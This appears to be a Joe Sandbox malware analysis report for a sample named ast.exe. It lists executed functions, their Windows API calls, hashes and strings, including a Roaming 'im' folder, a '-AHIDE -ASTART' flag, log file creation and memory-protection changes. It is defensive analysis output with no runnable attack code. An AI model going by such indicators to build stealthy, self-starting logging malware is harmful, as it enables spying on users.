Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: getsockoptsetsockopt
String ID: @
API String ID: 194641219-2726393805
Opcode ID: 9c2a1cfb3fa5761dc039398441e776cf5565babb61d5fbfaed65b39ad78d4e91
Instruction ID: fe9f02b321e7f071f8dada72e0f7464d5344d67058df2ed38663fc3539c06529
Opcode Fuzzy Hash: 9c2a1cfb3fa5761dc039398441e776cf5565babb61d5fbfaed65b39ad78d4e91
Instruction Fuzzy Hash: 5F01B57194820DBBEF21DF94DC46BAD7779EB11704F1041E1FA04AB2C1D7B9CA449B40

Function 6B8ED8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Digest,6B8EB74C,00000006,00000DD0,?,?,6B8EB74C), ref: 6B8ED8E6

Strings

Digest, xrefs: 6B8ED8DF
t!, xrefs: 6B8ED91E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: Digest$t!
API String ID: 482932555-3305821177
Opcode ID: 6ecea6a13a530f72ea3c264dbe24b779f5c559db2d3342d90433c01d189164ae
Instruction ID: 56553660f77eb529cc8253e80c5949e9a1fa180d6cf8721ce846d3958447b5ff
Opcode Fuzzy Hash: 6ecea6a13a530f72ea3c264dbe24b779f5c559db2d3342d90433c01d189164ae
Instruction Fuzzy Hash: 58F0F657E4425822DB005969BC01BAA77DD4FD3258F0904B2EC9CD7242EA29E51AC7B0

Analysis Process: ast.exePID: 1312, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	18.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	138
Total number of Limit Nodes:	8

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 07065021 Relevance: 7.6, APIs: 5, Instructions: 51
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(?,0706501D), ref: 07065022
FindFirstFileA.KERNEL32(?,?,?,0706501D,?,?), ref: 07065036

Part of subcall function 07065046: lstrcmp.KERNEL32(?,07065044), ref: 07065047
Part of subcall function 07065046: lstrcat.KERNEL32(?,?), ref: 07065075
Part of subcall function 07065046: FindNextFileA.KERNELBASE(?,?,?,?,?,0706501D,?,?), ref: 0706509A
Part of subcall function 07065046: FindClose.KERNEL32(?,?,?,?,0706501D,?,?), ref: 070650B6

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Find$Filelstrcat$CloseFirstNextlstrcmp
String ID:
API String ID: 1879274390-0
Opcode ID: 363fc8d663d25568fa4cb4694c18a05544d6f83d872a8b435be624afdb8b15d4
Instruction ID: 7f860c635f1bcd321706afb5ccf1234c72218eb1c633077988738b7c946680a9
Opcode Fuzzy Hash: 363fc8d663d25568fa4cb4694c18a05544d6f83d872a8b435be624afdb8b15d4
Instruction Fuzzy Hash: 9201C0F2904202AFCB216B74DC5CA8E7FF8EF15346B1206A1F206D2601EA78C9308F61

Function 07065B9E Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 107
stringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIA.SHELL32(?,00000000,07065B95), ref: 07065BA1
lstrlen.KERNEL32(?), ref: 07065BAC
CreateMutexA.KERNEL32(?,?), ref: 07065BEC
lstrcmp.KERNEL32(?,07065C33), ref: 07065C3A
lstrlen.KERNEL32(?,?), ref: 07065CE4

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065C7A
-AHIDE -ASTART, xrefs: 07065BFE, 07065CF8
C:\Users\user\AppData\Roaming\im\, xrefs: 07065C64

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: lstrlen$CreateMutexlstrcmp
String ID: -AHIDE -ASTART$C:\Users\user\AppData\Roaming\im\$C:\Users\user\AppData\Roaming\im\
API String ID: 2704946443-4209170246
Opcode ID: 76fc11f9acb6136d770fbadf6cf0d918b360d5ef2d081682f92c8f0c3e9f85b7
Instruction ID: 0a44a9b4900998484c27ef3677e8648ba0f4d2d7421db97b6cf58851316d6b93
Opcode Fuzzy Hash: 76fc11f9acb6136d770fbadf6cf0d918b360d5ef2d081682f92c8f0c3e9f85b7
Instruction Fuzzy Hash: 8A31D6F1A54345EFEBA17BB0EC6EBEE3BE4EF00714F154354F250A9081DA7996208B16

Function 0706595E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIA.SHELL32(?,00000000,07063CB9), ref: 0706597C
StrRStrIA.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\im\), ref: 07065990
StrRStrIA.SHELL32(?,00000000,\log\), ref: 070659A4
CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 070659CD

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065986
\log\, xrefs: 0706599A

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateFile
String ID: C:\Users\user\AppData\Roaming\im\$\log\
API String ID: 823142352-3225649886
Opcode ID: 94085154d224e47ed37c65792f82cb036719d173932ebc67f1e0cec54474fb52
Instruction ID: 2d7e078ec77b0f4a07cccd9a75cdbaa3e0405da451f69775d44c895cfc1f38f5
Opcode Fuzzy Hash: 94085154d224e47ed37c65792f82cb036719d173932ebc67f1e0cec54474fb52
Instruction Fuzzy Hash: 81011D7124020AFBDF515F55DC5AF9E3FA6AB18B64F008328F915A80A0E77AD470DF60

Function 070659D8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIW.SHELL32(?,00000000,07063CC1), ref: 070659F6
StrRStrIW.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\im\), ref: 07065A0A
StrRStrIW.SHELL32(?,00000000,.log), ref: 07065A1E
CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 07065A47

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065A00
.log, xrefs: 07065A14

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateFile
String ID: .log$C:\Users\user\AppData\Roaming\im\
API String ID: 823142352-2154642801
Opcode ID: 1847c0ee70e49faa1822cb4b62f59094a230489993bc0995d7766847bcc0a1cd
Instruction ID: 82b080281bf3f80752e3bd38b7636ae0c7d90fb2dae2760ec0d80cb94e902165
Opcode Fuzzy Hash: 1847c0ee70e49faa1822cb4b62f59094a230489993bc0995d7766847bcc0a1cd
Instruction Fuzzy Hash: A701627124020ABBDF515F55DCAAF993FA5AF14768F048218F905980A0D379C470EB40

Function 07065C0E Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065C7A
-AHIDE -ASTART, xrefs: 07065CF8
C:\Users\user\AppData\Roaming\im\, xrefs: 07065C64

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: lstrcmplstrlen
String ID: -AHIDE -ASTART$C:\Users\user\AppData\Roaming\im\$C:\Users\user\AppData\Roaming\im\
API String ID: 898299967-4209170246
Opcode ID: d81341c82154eefb0dac6dc5764dda62ed8f41ab582ad70081796ecbae117f81
Instruction ID: 260aeda9c924ed39eefdf72c70fc8a478dbd197dd4644a83cb917e8130b9b7ac
Opcode Fuzzy Hash: d81341c82154eefb0dac6dc5764dda62ed8f41ab582ad70081796ecbae117f81
Instruction Fuzzy Hash: 531181F1650304FEE7907BB0EC6AFAD77A8AF00714F014350B350A9081DA7966248E2A

Function 07065C39 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32(?,07065C33), ref: 07065C3A
lstrlen.KERNEL32(?,?), ref: 07065CE4

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065C7A
-AHIDE -ASTART, xrefs: 07065CF8
C:\Users\user\AppData\Roaming\im\, xrefs: 07065C64

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: lstrcmplstrlen
String ID: -AHIDE -ASTART$C:\Users\user\AppData\Roaming\im\$C:\Users\user\AppData\Roaming\im\
API String ID: 898299967-4209170246
Opcode ID: bbb660ed60ad1a92fdd2f46bd3c071bbc055bb84c916026db4faae31b00805e3
Instruction ID: e911a4c234300c53fb84e0f5b1600c9266249163a71b723454acabbdaa9b67c5
Opcode Fuzzy Hash: bbb660ed60ad1a92fdd2f46bd3c071bbc055bb84c916026db4faae31b00805e3
Instruction Fuzzy Hash: 98115EF1690305FEE7913BB0EC6AFA936A5AB00715F024350B341A9081CAB96A655E1A

Function 07065046 Relevance: 6.0, APIs: 4, Instructions: 44filestringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,07065044), ref: 07065047
FindNextFileA.KERNELBASE(?,?,?,?,?,0706501D,?,?), ref: 0706509A
FindClose.KERNEL32(?,?,?,?,0706501D,?,?), ref: 070650B6

Part of subcall function 07065059: lstrcmp.KERNEL32(?,07065056), ref: 0706505A
Part of subcall function 07065059: lstrcat.KERNEL32(?,?), ref: 07065075

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Findlstrcmp$CloseFileNextlstrcat
String ID:
API String ID: 360925478-0
Opcode ID: 1674eb121bdf7c6b58bc6d440c8dbe98cf14068808c5481d0bb6d2897b8ccb17
Instruction ID: f3eb477d38271dce73a79115cbc385a058f0b82e1dcaddd69e351797b3dca55f
Opcode Fuzzy Hash: 1674eb121bdf7c6b58bc6d440c8dbe98cf14068808c5481d0bb6d2897b8ccb17
Instruction Fuzzy Hash: 6301DBF2504202AFDB216B349C5CA9E7EE8EF5634AB1106A0F206D1101EA78C9308E61

Function 07065059 Relevance: 6.0, APIs: 4, Instructions: 36
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32(?,07065056), ref: 0706505A
lstrcat.KERNEL32(?,?), ref: 07065075
FindNextFileA.KERNELBASE(?,?,?,?,?,0706501D,?,?), ref: 0706509A
FindClose.KERNEL32(?,?,?,?,0706501D,?,?), ref: 070650B6

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Find$CloseFileNextlstrcatlstrcmp
String ID:
API String ID: 122021188-0
Opcode ID: 67333cb791c29a2c927f29a83b2f7822b3e870384029984b7057fd637250a5f1
Instruction ID: 79cc6fe90721df861419d6cf00eb7a7fc720b3d1b0e311be311e979132e87e19
Opcode Fuzzy Hash: 67333cb791c29a2c927f29a83b2f7822b3e870384029984b7057fd637250a5f1
Instruction Fuzzy Hash: 61F01DB2500105AFDB216F78DC4DE9A3EF8EF55396F1105A1F24AE2111DB3989609F60

Function 0706582B Relevance: 4.6, APIs: 3, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00000005,00003000,00000040), ref: 0706588D
VirtualProtect.KERNEL32(?,00000005,00000040,00000000), ref: 07065910
VirtualProtect.KERNEL32(?,00000005,00000000,00000000), ref: 07065934

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: 6f181bb88a94a0cb614f280f5f816ddd7c00b5ad6d6a68cbaf35a27578764d9a
Instruction ID: 27af3988b2ea9de96b75faac7d74f7bf3f980dfbcef0db96785dfc6e3ffe1b72
Opcode Fuzzy Hash: 6f181bb88a94a0cb614f280f5f816ddd7c00b5ad6d6a68cbaf35a27578764d9a
Instruction Fuzzy Hash: 7F3162B5A00206AFDB10DFB4CD48EAEBBF5EF44710F158259E901AB295EB75ED10CB60

Function 07002000 Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 07002035
CloseHandle.KERNEL32(?), ref: 07002099

Memory Dump Source

Source File: 0000000B.00000003.2498022961.0000000007002000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07002000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_7002000_ast.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 2f4cd2e719df8fe111334384f9a62bc17892a031e89252502db5d86b87ef1463
Instruction ID: eeadf3680fce8816b1a84905174363de9d5451d2b6f277e3f8891d287f9e3931
Opcode Fuzzy Hash: 2f4cd2e719df8fe111334384f9a62bc17892a031e89252502db5d86b87ef1463
Instruction Fuzzy Hash: CD114CB0600301EFEB616F74CD4AB593BE5FB04300F11C261A981DB6D9DA75E9008B51

Function 07065BD6 Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 07065BD7
CreateMutexA.KERNEL32(?,?), ref: 07065BEC

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateMutexwsprintf
String ID:
API String ID: 1107950-0
Opcode ID: d6b265f30c0000cb4ee3c3ae0c8c3113ac972abb13f456979e58860616557185
Instruction ID: 5bf20dcb11a86c96fbfc81557a3fa0ee84782dbb9d45e56f7a9f264c56e93f9a
Opcode Fuzzy Hash: d6b265f30c0000cb4ee3c3ae0c8c3113ac972abb13f456979e58860616557185
Instruction Fuzzy Hash: D7D0A9B2A00210ABCF612F99EC8DA9E3FA4EF112A03018125FA159A010D23982208F80

Function 07065F2B Relevance: 3.0, APIs: 2, Instructions: 14
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 07065F2C
RegOpenKeyExA.KERNEL32(?,?,?,?,?), ref: 07065F5D

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Openwsprintf
String ID:
API String ID: 2091901810-0
Opcode ID: 1e61c5231248df49d06951fc93010148e91dc19ec7c0d641d84cfb8f8efadff7
Instruction ID: 377cfcae8c529264b4f9c146eaab5d9f9b97a059a46654f9482a84ed8025c0f2
Opcode Fuzzy Hash: 1e61c5231248df49d06951fc93010148e91dc19ec7c0d641d84cfb8f8efadff7
Instruction Fuzzy Hash: A8D05272000109EBDF029F80ED8A8EE3E6AFB04384F014402F90200022C33AC470ABA0

Function 070651AE Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 070651E0

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: dc6d8606d4bd64a4dbd01e39ebbdbdc26ac80f6bb412cd2facad89e04eed3d93
Instruction ID: 2a3ed264cf21b3d99d942d95710bc93877b227c8415a86c7e5bd8e8212393744
Opcode Fuzzy Hash: dc6d8606d4bd64a4dbd01e39ebbdbdc26ac80f6bb412cd2facad89e04eed3d93
Instruction Fuzzy Hash: 7CE0E2B1D01308EFDB51DFA4D60978EBBF0BB10308F6181A8C48163644EBB9AF08AF41

Non-executed Functions

Function 07065B0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\im\), ref: 07065B26
PathRemoveBackslashA.SHLWAPI(?), ref: 07065B2D

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065B20

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: BackslashPathRemovelstrcpy
String ID: C:\Users\user\AppData\Roaming\im\
API String ID: 295623078-3122922850
Opcode ID: fd4995a44be9dc5fca0b7df7b583dd90cbd1bb88703b5ced8d71107f1c7a9b88
Instruction ID: 711d9799f5b4b63593ccff720b7bbf76eeea441da7a70a56f5e72997443f2353
Opcode Fuzzy Hash: fd4995a44be9dc5fca0b7df7b583dd90cbd1bb88703b5ced8d71107f1c7a9b88
Instruction Fuzzy Hash: 6FE01AB2200209BFDB51AF94EC8AC6F3BEDEB19259B515911FA02E1122C779D8209A70

Function 07065B50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\im\), ref: 07065B68
PathRemoveBackslashA.SHLWAPI(?), ref: 07065B6F

Strings

C:\Users\user\AppData\Roaming\im\, xrefs: 07065B62

Memory Dump Source

Source File: 0000000B.00000002.2514314002.0000000007065000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2514276987.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514360900.0000000007084000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514402330.0000000007088000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514440851.0000000007089000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514477856.000000000708A000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2514509989.000000000708B000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: BackslashPathRemovelstrcpy
String ID: C:\Users\user\AppData\Roaming\im\
API String ID: 295623078-3122922850
Opcode ID: d33a3d0af1c2dccd528ae9e2764705d67d934a0000359ccbf04a884505d6f217
Instruction ID: d3f38cde233a08838843537171e06c0318da4773113552ffacf6acfb71a8f0ec
Opcode Fuzzy Hash: d33a3d0af1c2dccd528ae9e2764705d67d934a0000359ccbf04a884505d6f217
Instruction Fuzzy Hash: 5AD05E732155246FDAA1BA64BC07CCE73DCEA626657028201F842E3200D2ACF620CBE4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

